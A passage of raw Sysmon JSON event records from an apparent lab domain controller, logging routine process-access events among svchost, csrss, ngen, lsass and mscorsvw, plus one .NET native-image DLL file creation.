C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:40.838","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4358-5F2D-0000-00106A9D1100}","TargetProcessId":"1696","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8463,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:40.916\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4524\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4358-5F2D-0000-001021A11100}\r\nTargetProcessId: 3860\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:40.916","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4524","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4358-5F2D-0000-001021A11100}","TargetProcessId":"3860","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","EventReceivedTime":"2020-08-07 12:04:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8464,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:40.916\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4358-5F2D-0000-001021A11100}\r\nTargetProcessId: 3860\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:40.916","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4358-5F2D-0000-001021A11100}","TargetProcessId":"3860","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8465,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:40.932\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4358-5F2D-0000-001021A11100}\r\nTargetProcessId: 3860\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:40.932","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4358-5F2D-0000-001021A11100}","TargetProcessId":"3860","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8466,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:41.104\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-0010C05A0100}\r\nTargetProcessId: 2304\r\nTargetImage: C:\\Windows\\system32\\compattelrunner.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:41.104","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-0010C05A0100}","TargetProcessId":"2304","TargetImage":"C:\\Windows\\system32\\compattelrunner.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8467,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:41.104\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-0010C05A0100}\r\nTargetProcessId: 2304\r\nTargetImage: C:\\Windows\\system32\\compattelrunner.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:41.104","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-0010C05A0100}","TargetProcessId":"2304","TargetImage":"C:\\Windows\\system32\\compattelrunner.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8468,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:04:41.166\r\nProcessGuid: {90617006-4358-5F2D-0000-001021A11100}\r\nProcessId: 3860\r\nImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\f14-0\\System.Xml.Linq.dll\r\nCreationUtcTime: 2020-08-07 12:04:41.166","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:04:41.166","ProcessGuid":"{90617006-4358-5F2D-0000-001021A11100}","Image":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\f14-0\\System.Xml.Linq.dll","CreationUtcTime":"2020-08-07 12:04:41.166","EventReceivedTime":"2020-08-07 12:04:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8469,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:41.213\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4820\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4359-5F2D-0000-0010A2A61100}\r\nTargetProcessId: 4308\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:41.213","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4820","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4359-5F2D-0000-0010A2A61100}","TargetProcessId":"4308","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","EventReceivedTime":"2020-08-07 12:04:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8470,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:41.213\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4359-5F2D-0000-0010A2A61100}\r\nTargetProcessId: 4308\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: 